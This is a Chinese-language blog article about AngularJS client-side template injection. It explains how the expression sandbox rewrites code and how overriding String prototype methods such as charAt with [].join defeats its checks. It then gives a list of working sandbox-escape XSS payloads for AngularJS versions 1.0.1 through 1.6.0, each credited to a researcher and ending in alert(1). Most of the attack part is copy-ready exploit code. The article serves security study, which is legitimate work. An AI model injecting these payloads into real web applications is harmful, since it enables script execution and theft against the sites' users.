美文网首页freeCodeCamp技术专栏我爱编程
AngularJs 用户输入动态模板XSS攻击

AngularJs 用户输入动态模板XSS攻击

作者: YuTao_ | 来源:发表于2018-04-20 16:17 被阅读12次

    前情提要

    angularJs通过“{{}}”来作为输出的标志,而对于双括号里面的内容angularJs会计计算并输出结果,我们可以在里面输入JS代码,并且一些语句还能得到执行,这使得我们的XSS有了可能,虽然不能直接写函数表达式,但这并难不住我们的白帽。

    沙箱检验

    angularJs会对表达式进行重写,并过滤计算输出,比如我们输入

    {{1 + 1}}   
    

    在JS中会被转换成

    "use strict";
    var fn = function(s, l, a, i) {
       return plus(1, 1);
    };
    return fn;
    

    return fn;这里的返回会被angualrJs执行,angularJs改写这个方法后转换是这样的

    "use strict";
    var fn = function(s, l, a, i) {
       var v0, v1, v2, v3, v4 = l && ('constructor' in l),
           v5;
       if (!(v4)) {
           if (s) {
               v3 = s.constructor;
           }
       } else {
           v3 = l.constructor;
       }
       ensureSafeObject(v3, text);
       if (v3 != null) {
           v2 = ensureSafeObject(v3.constructor, text);
       } else {
           v2 = undefined;
       }
       if (v2 != null) {
           ensureSafeFunction(v2, text);
           v5 = 'alert\u00281\u0029';
           ensureSafeObject(v3, text);
           v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alert\u00281\u0029', text)), text);
       } else {
           v1 = undefined;
       }
       if (v1 != null) {
           ensureSafeFunction(v1, text);
           v0 = ensureSafeObject(v1(), text);
       } else {
           v0 = undefined;
       }
       return v0;
    };
    return fn;
    

    angularJs会检查每一个输入的参数,ensureSafeObject方法会检验出函数的构造方法,窗口对象,对象,或者对象的构造方法,任意的其中一项被检查出来,表达式都不会执行.angularJs还有ensureSafeMemeberName和ensureSafeFunction来过滤掉方法原型链方法和检查这个指向。

    如何逃逸

    怎么样能逃过模板的过滤呢,可以让我们输入的模板被角执行,因为angularJs不支持函数输入,我们不可以直接覆盖本地的JS函数。但在字符串对象中找到了漏洞,fromCharCode,则charCode, charAt,由于没有重写这些方法,通过改变本地的js函数,我可以在angularJs调用这些方法的时候为自己开一个后门,将我改写的来覆盖原来的函数。

    'a'.constructor.fromCharCode=[].join;
    'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
    

    formCharCode方法执行的时候内部的this指向的是String对象,通过上面的可指执行语句,我们可以对fromCharCode 函数进行覆盖,当在本页面内执行时,比如:

    onload=function(){
    document.write(String.fromCharCode(97));//会弹出 /Backdoored/ 
    } 
    

    还可以这样

    'a'.constructor.prototype.charCodeAt=[].concat
    

    当angularJs调用charCodeAt函数时,我的代码就被执行到angular源码去了,比如说在这段里面有encodeEntities 方法用来对属性和名称做一个过滤然后输出,

    if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
    out(' ');
    out(key);
    out('="');
    out(encodeEntities(value));//找的就是encodeEntities           
    out('"');
    }
    

    具体的encodeEntities代码如下:

    function encodeEntities(value) {
    return value.
      replace(/&/g, '&').
      replace(SURROGATE_PAIR_REGEXP, function(value) {
        var hi = value.charCodeAt(0);
        var low = value.charCodeAt(1);
        return '&#' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';';
      }).
      replace(NON_ALPHANUMERIC_REGEXP, function(value) {
        return '&#' + value.charCodeAt(0) + ';';//这里发生了不好事情,我改写了这个方法,可以植入一些恶意代码,并且得到返回输出       }).
    replace(/</g, '<').
    replace(/>/g, '>');
    }  
    

    具体执行

    //这是输入代码   
    {{
      'a'.constructor.prototype.charAt=[].join;
      $eval('x=""')+''
    }} 
    
    //这是被覆盖影响的代码     
    "use strict";
    var fn = function(s, l, a, i) {
      var v5, v6 = l && ('x\u003d\u0022\u0022' in l);//被影响的
       if (!(v6)) {
          if (s) {
              v5 = s.x = "";//被影响的
           }
      } else {
          v5 = l.x = "";//被影响的
       }
      return v5;
    };
    fn.assign = function(s, v, l) {
      var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l);//被影响的
       v3 = v4 ? l : s;
      if (!(v4)) {
          if (s) {
              v2 = s.x = "";//被影响的
            }
      } else {
          v2 = l.x = "";//被影响的
       }
      if (v3 != null) {
          v1 = v;
          ensureSafeObject(v3.x = "", text);//被影响的
           v0 = v3.x = "" = v1;//被影响的
       }
      return v0;
    };
    return fn;
    
    {{
      'a'.constructor.prototype.charAt=[].join;
      $eval('x=alert(1)')+'' //注入了alert(1) 
    }}
    
    "use strict";
    var fn = function(s, l, a, i) {
      var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l);
      if (!(v6)) {
          if (s) {
              v5 = s.x = alert(1);
          }
      } else {
          v5 = l.x = alert(1);
      }
      return v5;
    };
    fn.assign = function(s, v, l) {
      var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l);
      v3 = v4 ? l : s;
      if (!(v4)) {
          if (s) {
              v2 = s.x = alert(1);
          }
      } else {
          v2 = l.x = alert(1);
      }
      if (v3 != null) {
          v1 = v;
          ensureSafeObject(v3.x = alert(1), text);
          v0 = v3.x = alert(1) = v1;
      }
      return v0;
    };
    return fn;
    

    下面附上一些代码,可以直接结合angularJs验证
    不同版本的实现代码以及发现者:

    1.0.1 - 1.1.5 Mario Heiderich (Cure53)

    {{constructor.constructor('alert(1)')()}} 
    

    1.2.0 - 1.2.1 Jan Horn (Google)

    {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
    

    1.2.2 - 1.2.5 Gareth Heyes (PortSwigger)

    {{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
    

    1.2.6 - 1.2.18 Jan Horn (Google)

    {{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
    

    1.2.19 - 1.2.23 Mathias Karlsson

    {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
    

    1.2.24 - 1.2.29 Gareth Heyes (PortSwigger)

    {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}   
    

    1.3.0 Gábor Molnár (Google)

    {{!ready && (ready = true) && (
    !call
    ? $$watchers[0].get(toString.constructor.prototype)
    : (a = apply) &&
    (apply = constructor) &&
    (valueOf = call) &&
    (''+''.toString(
    'F = Function.prototype;' +
    'F.apply = F.a;' +
    'delete F.a;' +
    'delete F.valueOf;' +
    'alert(1);'
    ))
    );}} 
    

    1.3.1 - 1.3.2 Gareth Heyes (PortSwigger)

    {{
    {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
    'a'.constructor.prototype.charAt=''.valueOf; 
    $eval('x=alert(1)//'); 
    }}
    

    1.3.3 - 1.3.18 Gareth Heyes (PortSwigger)

    {{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; 
    
    'a'.constructor.prototype.charAt=[].join;
    $eval('x=alert(1)//'); }}
    

    1.3.19 Gareth Heyes (PortSwigger)

    {{
    'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join; 
    $eval('x=alert(1)//'); 
    }}
    
    

    1.3.20 Gareth Heyes (PortSwigger)

    {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
    

    1.4.0 - 1.4.9 Gareth Heyes (PortSwigger)

    {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
    

    1.5.0 - 1.5.8 Ian Hickey

    {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
    

    1.5.9 - 1.5.11 Jan Horn (Google)

    {{
        c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
        c.$apply=$apply;c.$eval=b;op=$root.$$phase;
        $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
        C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
        B=C(b,c,b);$evalAsync("
        astNode=pop();astNode.type='UnaryExpression';
        astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
        astNode.argument={type:'Identifier',name:'foo'};
        ");
        m1=B($$asyncQueue.pop().expression,null,$root);
        m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
        $eval('a(b.c)');[].push.apply=a;
    }}
    

    = 1.6.0 Mario Heiderich(Cure53)

    {{constructor.constructor('alert(1)')()}} 
    

    转自:https://pockr.org/activity/detail?activity_no=act_017d460d4e5988dad2

    相关文章

      网友评论

        本文标题:AngularJs 用户输入动态模板XSS攻击

        本文链接:https://www.haomeiwen.com/subject/yshzkftx.html